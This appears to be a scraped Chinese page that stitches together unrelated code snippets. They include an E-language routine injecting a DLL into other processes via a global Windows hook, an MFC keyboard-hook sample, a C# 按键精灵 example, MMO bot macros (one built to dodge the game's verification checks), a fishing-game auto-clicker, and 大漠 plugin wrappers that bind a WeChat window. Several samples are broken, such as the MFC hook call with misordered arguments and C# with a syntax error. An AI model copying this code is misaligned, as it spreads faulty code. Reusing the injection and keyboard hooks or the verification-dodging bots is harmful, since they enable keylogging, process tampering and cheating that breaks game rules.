项⽬标识符列表_.局部变量⽬录类型, 整数型.如果真 (欲获取⽬录类型= 99)输出调试⽂本 (“0我的桌⾯ 2我的程序 5我的⽂档 6我的收藏夹 7我的启动 8我最近的⽂档 9我的发送到 11我的开始菜单 13我的⾳乐 14我的视频 16我的桌⾯ 20系统字体 22开始菜单组 23程序组 24启动组 25桌⾯ 31收藏夹 32我的浏览器临时⽬录 33我的Cookies 34我的历史记录 36Windows安装⽬录 37系统⽬录 38⽂件安装⽬录 39我的图⽚ 40⽤户⽬录 41系统⽬录 46⽂档 47管理⼯具 48我的管理⼯具 53⾳乐 54图⽚ 55视频”).如果真结束.如果 (欲获取⽬录类型= 1)⽬录类型= 34.否则⽬录类型=欲获取⽬录类型.如果结束获取特别⽂件夹位置_ (0, ⽬录类型, 标⽰结构)路径=取空⽩⽂本 (255)从列表id取路径_ (标⽰结构.结构⼤⼩, 路径).如果真 (路径= “”)返回 (“”).如果真结束.如果真 (欲获取⽬录类型= 1)路径=⼦⽂本替换 (路径, “History”, “Temp”, , , 真).如果真结束返回 (路径+ “\”).⼦程序注⼊_安装钩⼦DLL, 整数型, 公开, DLL注⼊返回0=失败整数型 DLL接⼝(代码值,参数1,参数2).参数线程ID, 整数型, , -1 全局钩⼦.参数 DLL全名, ⽂本型, , DLL全名.参数 DLL接⼝, ⽂本型, 可空, 默认整数型钩⼦接⼝(代码值,参数1,参数2).局部变量临时变量, 整数型.局部变量⽬录, ⽂本型.局部变量窗⼝句柄, 整数型.如果真 (是否为空 (DLL接⼝) =真)DLL接⼝= “钩⼦接⼝”.如果真 (线程ID = 0)返回 (0).如果真结束.如果真 (线程ID = -1)线程ID = 0.如果真结束钩⼦IDx =钩⼦IDx + 1钩⼦模块句柄 [钩⼦IDx] = LoadLibraryA (DLL全名)钩⼦句柄 [钩⼦IDx] = SetWindowsHookExA (3, GetProcAddress (钩⼦模块句柄 [钩⼦IDx], DLL接⼝), 钩⼦模块句柄 [钩⼦IDx], 线程ID)⽬录=操作_取特定⽬录 (1)写配置项 (⽬录+ “ada.ini”, “ada”, “钩⼦句柄”, 到⽂本 (钩⼦句柄 [钩⼦IDx]))输出调试⽂本 (钩⼦IDx, 钩⼦模块句柄 [钩⼦IDx], 钩⼦句柄 [钩⼦IDx])返回 (钩⼦IDx).版本 2.⼦程序注⼊_卸载钩⼦DLL, 逻辑型, 公开.参数钩⼦ID, 整数型, 可空, 卸载所有时⽆效.参数卸载所有, 逻辑型, 可空.局部变量 xx, 整数型.如果真 (卸载所有).如果真 (钩⼦IDx > 0).计次循环⾸ (钩⼦IDx, xx).如果真 (钩⼦模块句柄 [xx] ≠ 0)FreeLibrary (钩⼦模块句柄 [xx])UnhookWindowsHookEx (钩⼦句柄 [xx]).如果真结束.计次循环尾 ().如果真结束返回 (真).如果真结束.如果真 (钩⼦ID > 0).如果真 (钩⼦模块句柄 [钩⼦ID] ≠ 0)FreeLibrary (钩⼦模块句柄 [钩⼦ID])UnhookWindowsHookEx (钩⼦句柄 [钩⼦ID]).如果真结束返回 (假).⼦程序注⼊_初始化钩⼦DLL, 整数型, 公开, DLL⽤..参数代码值, 整数型.参数参数1, 整数型.参数参数2, 整数型.参数初始, ⼦程序指针.局部变量 xxxx, 整数型.如果真 (钩⼦句柄1 = 0)temp⽬录=操作_取特定⽬录 (1)钩⼦句柄1 =到整数 (读配置项 (temp⽬录+ “ada.ini”, “ada”, “钩⼦句柄”, )).如果真结束.如果真 (第⼀次=假)第⼀次=真调⽤_调⽤⼦程序 (初始).如果真结束返回 (CallNextHookEx (钩⼦句柄1, 代码值, 参数1, 参数2)).⼦程序注⼊_设置呼出窗⼝, 逻辑型, 公开.参数设置热键, 整数型.参数呼出窗⼝, 窗⼝临时呼出热键=设置热键临时载⼊窗⼝=呼出窗⼝热键钩⼦句柄= SetWindowsHookExA (2, 到整数 (&呼出键接⼝), 0, GetCurrentThreadId ()) .如果真 (热键钩⼦句柄> 0)返回 (真).如果真结束返回 (假).⼦程序呼出键接⼝, 整数型.参数⼀, 整数型.参数⼆, 整数型.如果真 (⼀= 0 且⼆=临时呼出热键且三> 0).如果 (是否已创建 (临时载⼊窗⼝)).如果 (临时载⼊窗⼝.可视)临时载⼊窗⼝.可视=假.否则临时载⼊窗⼝.可视=真.如果结束.否则载⼊ (临时载⼊窗⼝, , 假)临时载⼊窗⼝.Esc键关闭=假临时载⼊窗⼝.最⼩化按钮=真.如果结束.如果真结束返回 (CallNextHookEx (热键钩⼦句柄, ⼀, ⼆, 三)).版本 2.数据类型项⽬标识符列表_, , ITEMIDLIST.成员结构⼤⼩, 整数型, , , cb.成员标识符长度, 字节型, , "255", abID此函数是⽤来调⽤指针函数的.就是CALL取⽬录⽤这个我就不解释了下⾯是源码主要函数函数解释:本函数参数1为要HOOK的线程ID,参数2为要注⼊的DLL名,参数3[可空]为DLL接⼝名字空则为"钩⼦接⼝".下⾯解释是如何实现的:1.⾸先使⽤LoadLibraryA获取DLL模块地址.参数⼀为HOOK类型,使⽤WH_GETMESSAGE(3) Hook来监视从GetMessage or PeekMessage函数返回息。

mfc 键盘hook例子

mfc 键盘hook例子

mfc 键盘hook例子MFC键盘钩子示例本示例展示了如何在 MFC 应用程序中使用键盘钩子来监视键盘输入。

创建键盘钩子1. 在 MFC 应用程序中添加一个新类,例如 `CKeyboardHook`。

2. 在 `CKeyboardHook` 类中,实现 `SetWindowsHookEx` 函数来设置键盘钩子。

此函数接收以下参数:- WH_KEYBOARD:指定要安装的钩子类型(键盘钩子)- `CKeyboardHook::HookProc`:指向钩子回调函数的指针- `GetCurrentThreadId()`:当前线程的标识符- 0:表示钩子应安装在所有线程中以下是 `SetWindowsHookEx` 函数的示例代码:```cppbool CKeyboardHook::InstallHook(){m_hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, GetCurrentThreadId(), 0);return m_hHook != NULL;}```钩子回调函数3. 实现钩子回调函数 `CKeyboardHook::HookProc`。

此函数将在每次按下或松开键盘键时调用。

4. 回调函数应接收以下参数:- `int nCode`:指定钩子代码(例如 HC_ACTION)- `WPARAM wParam`:与此钩子关联的其他信息- `LPARAM lParam`:指向包含按键信息的`KBDLLHOOKSTRUCT` 结构的指针以下是 `CKeyboardHook::HookProc` 函数的示例代码:```cppLRESULT CALLBACK CKeyboardHook::HookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode == HC_ACTION){KBDLLHOOKSTRUCT pKeyboardInfo = (KBDLLHOOKSTRUCT)lParam;// 处理键盘输入}return CallNextHookEx(NULL, nCode, wParam, lParam);}```处理键盘输入5. 在 `CKeyboardHook::HookProc` 回调函数中,可以处理键盘输入。

新版按键精灵X版底层使用代码分享

新版按键精灵X版底层使用代码分享

新版按键精灵X版底层使用代码分享按键精灵X版是一款功能强大的自动化软件,可以实现自动化操作和重复任务的执行。

下面是一个底层使用代码的示例:首先,你需要导入 `按键精灵X` 的底层库`Jitbit.KeybordBuddyX`,例如:```csharpusing Jitbit.KeyboardBuddyX;```然后,你可以创建一个 `Automation` 对象:```csharpAutomation automation = new Automation(;```现在,你可以使用 `automation` 对象来执行自动化操作,比如模拟按键输入:```csharpautomation.Type("Hello, World!");```上面的代码会模拟按下键盘上的每个字符来输入 "Hello, World!"。

除了输入文本,你还可以模拟按下特殊键,比如回车键:```csharpautomation.PressSpecialKey(SpecialKey.Enter);```这会模拟按下回车键。

还可以模拟按下组合键,比如 Ctrl+C:```csharpautomation.PressSpecialKey(SpecialKey.Control);automation.PressKey('C');```这会模拟先按下 Ctrl 键,再按下 C 键。

除了模拟按键输入,按键精灵X还支持模拟鼠标操作,比如移动鼠标和点击鼠标:```csharpautomation.MoveMouseTo(100, 100); // 移动鼠标到 (100, 100) 的位置automation.ClickMouse(MouseButton.Left); // 单击鼠标左键```点击鼠标的 `MouseButton` 参数可以是 `Left`、`Right` 或`Middle`。

按键精灵源代码整理

按键精灵源代码整理

Hwnd = Plugin.Window.MousePoint()Rem XXCall Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Goto XX2. 奶妈挂机加血(自动用蓝药,配合奶妈7秒叶子)Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 900, 600)Call Plugin.Window.Move(Hwnd, 4, 143)Rem XXIfColor 325,208,"163CDB",0 ThenElseCall Plugin.Bkgnd.KeyPress(Hwnd, 50)End IfIfColor 257,208,"163CDB",0 ThenElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Delay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 52)End IfIfColor 163,222,"9C841A",0 ThenElseCall Plugin.Bkgnd.KeyPress(Hwnd, 53)End IfIfColor 77,226,"453A10",0 ThenElse'==========以下是按键精灵录制的内容==========(这个是控制鼠标去点掉宠物附体回蓝的,属于前台的)Delay 291MoveTo 374, 506MoveTo 375, 504 Delay 33 MoveTo 375, 503 Delay 50 MoveTo 377, 501 Delay 36 MoveTo 381, 500 Delay 49 MoveTo 385, 498 Delay 40 MoveTo 386, 498 Delay 163 MoveTo 388, 497 Delay 9 MoveTo 389, 497 Delay 7 MoveTo 390, 497 Delay 50 MoveTo 394, 496 Delay 51 MoveTo 397, 495 MoveTo 398, 494 Delay 30 KeyDown "1", 1 Delay 19 MoveTo 402, 493 Delay 43 MoveTo 405, 491 Delay 40 MoveTo 410, 486 Delay 1KeyUp "1", 1 Delay 61 MoveTo 430, 471 Delay 55 MoveTo 459, 431 Delay 8 MoveTo 463, 423 Delay 7 MoveTo 468, 414 Delay 55 MoveTo 503, 331 Delay 47MoveTo 531, 287 Delay 1 MoveTo 535, 282 Delay 54 MoveTo 551, 261 Delay 12 MoveTo 553, 259 MoveTo 556, 257 Delay 55 MoveTo 564, 251 Delay 36 MoveTo 572, 246 Delay 43 MoveTo 583, 240 Delay 38 MoveTo 589, 235 Delay 37 MoveTo 593, 233 Delay 30 MoveTo 597, 230 Delay 47 MoveTo 602, 226 Delay 1 MoveTo 605, 223 Delay 32 MoveTo 608, 219 Delay 36 MoveTo 611, 215 Delay 38 MoveTo 614, 211 Delay 39 MoveTo 615, 208 Delay 143 MoveTo 616, 207 Delay 332 RightDown 1 Delay 14 RightDown 1 Delay 53 RightClick 1 Delay 1 RightClick 1 Delay 68 MoveTo 617, 206Delay 66 MoveTo 621, 202 Delay 58 MoveTo 624, 199 Delay 40 MoveTo 625, 197 Delay 10 MoveTo 626, 197 Delay 77 MoveTo 627, 196 Delay 51 MoveTo 627, 195 Delay 30 MoveTo 627, 194 Delay 67 MoveTo 627, 193 Delay 1325 RightDown 1 Delay 8 RightDown 1 Delay 109 RightClick 1 Delay 1 RightClick 1 Delay 1362 MoveTo 628, 194 Delay 113 MoveTo 628, 195 Delay 42 MoveTo 628, 196 Delay 25 MoveTo 628, 198 Delay 1 KeyDown "2", 1 Delay 1Delay 48 MoveTo 631, 206 Delay 1 MoveTo 631, 207 Delay 46 MoveTo 637, 219 Delay 37 MoveTo 637, 220 Delay 1KeyUp "2", 1Delay 1MoveTo 640, 229Delay 77MoveTo 647, 243Delay 46MoveTo 648, 247Delay 63MoveTo 648, 249Delay 30MoveTo 648, 250Delay 77MoveTo 648, 251Delay 134MoveTo 650, 252Delay 44MoveTo 656, 256Delay 38MoveTo 674, 269Delay 32MoveTo 704, 295Delay 27MoveTo 745, 326Delay 70MoveTo 954, 476Delay 11MoveTo 978, 490Delay 2MoveTo 1000, 504Delay 283MoveTo 1113, 582Delay 51MoveTo 1099, 584Delay 50MoveTo 1084, 582'==========以上是按键精灵录制的内容========== End IfGoto XX3. 奶妈7秒叶子Hwnd = Plugin.Window.MousePoint()Rem AACall Plugin.Bkgnd.KeyPress(Hwnd, 49)Delay 14000Goto AA4. 奶妈无限群加Hwnd = Plugin.Window.MousePoint()Rem xxCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.LeftClick(Hwnd, 450-dx, 380-dy)Delay 1000Goto xx5. 剑半后台挂机,自动回宗派躲验证(怪物血条得露出来才行,其他的按键是后台操作)Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 800, 500)Call Plugin.Window.Move(Hwnd, 0, 140)Rem 重置时间Dim t1t1=nowRem XXIfColor 215,206,"1332B1",0 ThenCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 56) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 50) Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 55)ElseCall Plugin.Bkgnd.KeyPress(Hwnd, 68)Call Plugin.Bkgnd.KeyPress(Hwnd, 9)Delay 500End IfIfColor 215,206,"1332B1",0 ThenGoto XXElseif datediff("n",t1,now)>=35 then(35分钟自动回宗派)Delay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 57)Delay 5000IfColor 215,206,"1332B1",0 ThenGoto XXElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 57) Delay 80000MoveTo 757, 759Delay 2000LeftClick 1Delay 2000MoveTo 422, 471Delay 2000LeftClick 1Delay 150000MoveTo 399, 700Delay 1000LeftClick 1Delay 70000MoveTo 542, 620Delay 15000LeftClick 1Delay 1000Goto 重置时间End IfElseGoto XXEnd IfEnd IfGoto XX6. 奶妈半后台打怪Hwnd = Plugin.Window.MousePoint()Call Plugin.Window.Size(Hwnd, 800, 500)Call Plugin.Window.Move(Hwnd, 480, 0)Rem 重置时间Dim t1t1=nowRem XXIfColor 695,66,"1332B1",0 ThenCall Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 54)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 49)Call Plugin.Bkgnd.KeyPress(Hwnd, 50)Call Plugin.Bkgnd.KeyPress(Hwnd, 51)Call Plugin.Bkgnd.KeyPress(Hwnd, 52)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 53)Call Plugin.Bkgnd.KeyPress(Hwnd, 55)Call Plugin.Bkgnd.KeyPress(Hwnd, 53) ElseCall Plugin.Bkgnd.KeyPress(Hwnd, 68)Call Plugin.Bkgnd.KeyPress(Hwnd, 9)Delay 500End IfIfColor 695,66,"1332B1",0 ThenGoto XXElseif datediff("n",t1,now)>=35 thenDelay 1011Call Plugin.Bkgnd.KeyPress(Hwnd, 48)Delay 5011IfColor 695,66,"1332B1",0 ThenGoto XXElseDelay 1000Call Plugin.Bkgnd.KeyPress(Hwnd, 48)Delay 80011MoveTo 1236, 621Delay 2011LeftClick 1Delay 2011MoveTo 896, 331Delay 2011LeftClick 1Delay 150051MoveTo 876, 567Delay 1011LeftClick 1Delay 70011MoveTo 1030, 484Delay 10011LeftClick 1Delay 2000Goto 重置时间End If ElseEnd IfEnd IfGoto XX。

钓鱼大师 自动钓鱼 按键精灵

钓鱼大师 自动钓鱼 按键精灵

[General]SyntaxVersion=2BeginHotkey=121BeginHotkeyMod=0PauseHotkey=0PauseHotkeyMod=0StopHotkey=123StopHotkeyMod=0RunOnce=1EnableWindow=MacroID=60b9a714-fa7c-40cc-8292-9f6988f98d40 Description=钓鱼大师Enable=1AutoRun=0[Repeat]Type=1Number=1[SetupUI]Type=2QUI=[Relative]SetupOCXFile=[Comment]BlueStacks 钓鱼大师2.19自动钓鱼红莲湖高级拉巴杆屏幕默认位置[Script]Global qq = 0For 3600//IfColor 771, 526, "484848", 1 Then// FindColorEx 767,310,802,358,"0A0FFD",1,0.9,intX,intY // If intX > 0 And intY > 0 ThenIfColor 746,478,"383838",1 Then//IfColor 771, 526, "484848", 0 ThenIfColor 737,427,"383838",1 ThenMoveTo 854, 440Delay 50LeftDown 1Delay 20LeftUp 1Delay 1000LeftDown 1Delay 20LeftUp 1Delay 7000LeftDown 1Delay 20LeftUp 1LeftDown 1Delay 20LeftUp 1Delay 200For 1000LeftUp 1Delay 35MoveTo 1005, 473Delay 25LeftDown 1Delay 25MoveTo 886, 591Delay 25MoveTo 767, 466Delay 35LeftUp 1FindColor 683,542,713,573,"10E849",intX,intY If intX > 0 And intY > 0 ThenMoveTo 450, 391Delay 20LeftDown 1Delay 20MoveTo 650, 391LeftUp 1Delay 20LeftDown 1Delay 20MoveTo 530, 391LeftUp 1Delay 200End IfIfColor 746,88,"FFFFFF",0 ThenExit forEnd IfNextq = q + 1Delay 5000FindColor 417,262,466,301,"2DC9FD",intX,intY If intX > 0 And intY > 0 ThenMoveTo 672, 462Delay 200LeftDown 1Delay 12LeftUp 1Delay 4000End If//箱子FindColor 478,438,633,480,"D28C0F",intX,intY If intX > 0 And intY > 0 ThenMoveTo 556, 459Delay 200LeftDown 1Delay 12LeftUp 1MoveTo 927, 537Delay 2000LeftDown 1Delay 12LeftUp 1MoveTo 927, 537Delay 1000LeftDown 1Delay 12LeftUp 1End IfDelay 1000//好友排名FindColor 288,144,366,204,"3EB8FF",intX,intY If intX > 0 And intY > 0 ThenMoveTo 839, 109Delay 500LeftDown 1Delay 12LeftUp 1Delay 2000MoveTo 927, 537Delay 1000LeftDown 1Delay 12LeftUp 1MoveTo 927, 537Delay 500LeftDown 1Delay 12LeftUp 1End If//出售MoveTo 927, 537Delay 400LeftDown 1Delay 12LeftUp 1Delay 3000//继续钓鱼MoveTo 927, 537Delay 400LeftDown 1Delay 12LeftUp 1Delay 2000//补充活力FindColor 579,438,783,480,"CB8314",intX,intY If intX > 0 And intY > 0 ThenMoveTo 697, 252Delay 100LeftDown 1Delay 12LeftUp 1MoveTo 683, 456Delay 1000LeftDown 1Delay 12LeftUp 1MoveTo 841, 166Delay 1000LeftDown 1Delay 12LeftUp 1MoveTo 927, 537 Delay 1000 LeftDown 1 Delay 12LeftUp 1End IfEnd If//30次后修理鱼竿If q = 30 thenDelay 1000MoveTo 227, 166 Delay 1000 LeftDown 1 Delay 12LeftUp 1MoveTo 352, 245 Delay 1000 LeftDown 1 Delay 12LeftUp 1MoveTo 683, 463 Delay 1000 LeftDown 1 Delay 12LeftUp 1MoveTo 585, 459 Delay 2000 LeftDown 1 Delay 12LeftUp 1MoveTo 584, 459 Delay 2000 LeftDown 1 Delay 12 LeftUp 1 MoveTo 838, 165 Delay 1000 LeftDown 1 Delay 12 LeftUp 1Exit forEnd IfEnd ifNext。

新版按键精灵X版底层使用代码分享

新版按键精灵X版底层使用代码分享

新版按键精灵X版底层使⽤代码分享按键精灵X亮点多多,这⾥分四⽅⾯简要说明⼀下:1、性能提升:代码⾏效率提升70%以上,函数调⽤效率提升40%以上,同脚本整体性能⽐按键精灵2014提升10%以上。

2、体验更好:调试反应迅速,多次调试内存不会导致内存泄漏积累、CPU占⽤过⾼的情况。

3、更加稳定:内存占⽤有所改善,调试、运⾏不容易崩溃,不会因为杀软或优化的缘故导致脚本⽆法执⾏。

4、功能更强:QUI系统优化、附件系统优化、标准库重做、多线程系统优化,功能⽐2014版更强⼤。

获取窗⼝焦点1 /***********2 *获取窗⼝焦点(*底层识别)3 ************/4 Function windowsIn()5 //获取窗⼝句柄6 Hwnd = Window.Find("WeChatMainWndForPC", "微信")7 //窗⼝复原8 Window.Restore (Hwnd)9 //窗⼝移动10 Window.Move(Hwnd, 300, 200)11 //重设窗⼝⼤⼩12 Window.SetClientSize(Hwnd, 850, 795)13 //获取窗⼝坐标14 sRect = Window.GetWindowRect(Hwnd)15 //MsgBox "得到窗⼝句柄的边框⼤⼩(包括标题栏)为:"& sRect16 //下⾯这句⽤于分割字符串,将横坐标和纵坐标分成两个字符串17 MyArray = Split(sRect, "|")18 //下⾯这句将字符串转换成数值19 W1 = Clng(MyArray(1)): H1 = Clng(MyArray(2))20 W2 = Clng(MyArray(3)) : H2 = Clng(MyArray(4))21 //MsgBox "边框⼤⼩: " & W2-W1 & "" & H2-H122 sosow=W1+11723 sosoh = H1 + 2624 TracePrint W1 & "::" & H1 & "::" & W2 & "::" & H225 End FunctionView Code⼤漠绑定1 /*****************2 **⼤漠绑定插件命令(*底层识别)3 *******************/4 Function findOcr()5 dm_ret = dm.SetDict(0, GetResPath()&"dm.txt")6 dm_ret = dm.GetClientSize(Hwnd,W2-W1,H2-H1)7 dm_ret = dm.BindWindow(Hwnd, "gdi", "normal", "normal", 0)8 Delay 2009 If dm_ret = 0 Then10 TracePrint ("⼤漠界⾯綁定失败")11 Return -112 Exit Function13 Else14 TracePrint ("⼤漠界⾯綁定成功")15 Return 016 End If17 End FunctionView Code⼤漠识字封装1 /*****************2 **⼤漠识字命令(*底层识别)3 *daMoFindOcr(x1,y1,x2,y2)4 *******************/5 Function daMoFindOcr(d1_x1,d1_y1,d1_x2,d1_y2)6 Dim d1_s = dm.Ocr(d1_x1,d1_y1,d1_x2,d1_y2,"727272-202020|000000-eeeeee",0.9)7 TracePrint (d1_s)8 Return d1_s9 End FunctionView Code⼤漠识图封装1 /*****************2 **⼤漠识图命令(*底层识别)3 *dm_findAllPic(x1,y1,x2,y2)4 *******************/5 Function dm_findPic(d3_x1, d3_x2, d3_y1, d3_y2, d3_picUrl)6 Dim d3_dm_ret, d3_intX,d3_intY, d3_count, d3_sss, d3_x, d3_y7 d3_dm_ret = dm.FindPic(d3_x1, d3_x2, d3_y1, d3_y2,GetResPath()& d3_picUrl,"000000",0.9,0,d3_intX,d3_intY)8 If d3_intX >= 0and d3_intY >= 0 Then9 d3_intX = d3_intX10 d3_intY = d3_intY11 TracePrint (d3_intX & "+dm_findPic+" & d3_intY)12 Return 0,d3_intX,d3_intY13 Else14 TracePrint ("-1,-1,-1")15 Return -1,-1,-116 End If17 End FunctionView Code⼤漠全屏识图封装1 /*****************2 **⼤漠识图命令全局(*底层识别)3 *dm_findAllPic(x1,y1,x2,y2)4 *******************/5 Function dm_findAllPic(d2_x1, d2_y1, d2_x2, d2_y2, d2_picUrl)6 dim d2_num = 07 Dim d2_picXY(10)8 Dim d2_daozhangID,d2_shoukuanW,d2_shoukuanH9 Do10 d2_daozhangID,d2_shoukuanW,d2_shoukuanH= dm_findPic(d2_x1,d2_y1,d2_x2,d2_y2,d2_picurl)11 If d2_daozhangID = 0 Then12 d2_num = d2_num + 113 Dim d2_arrayin(1)14 d2_arrayin(d2_shoukuanW)=d2_shoukuanH15 d2_picXY(d2_num)=d2_arrayin16 //x1 = shoukuanW17 d2_y1 = d2_shoukuanH + 2018 TracePrint (d2_x1 & d2_y1 & d2_x2 & d2_y2)19 TracePrint ( "找到" & d2_num & "个,坐标为:"& d2_shoukuanW& d2_shoukuanH)20 End If21 Loop While d2_daozhangID= 022 //TracePrint ( "找到" & num & "个,坐标为:"& piczuobiaoji)23 For Each d2_k, d2_v In d2_picXY24 TracePrint d2_k, d2_v25 Next26 Return d2_num,d2_picXY27 End 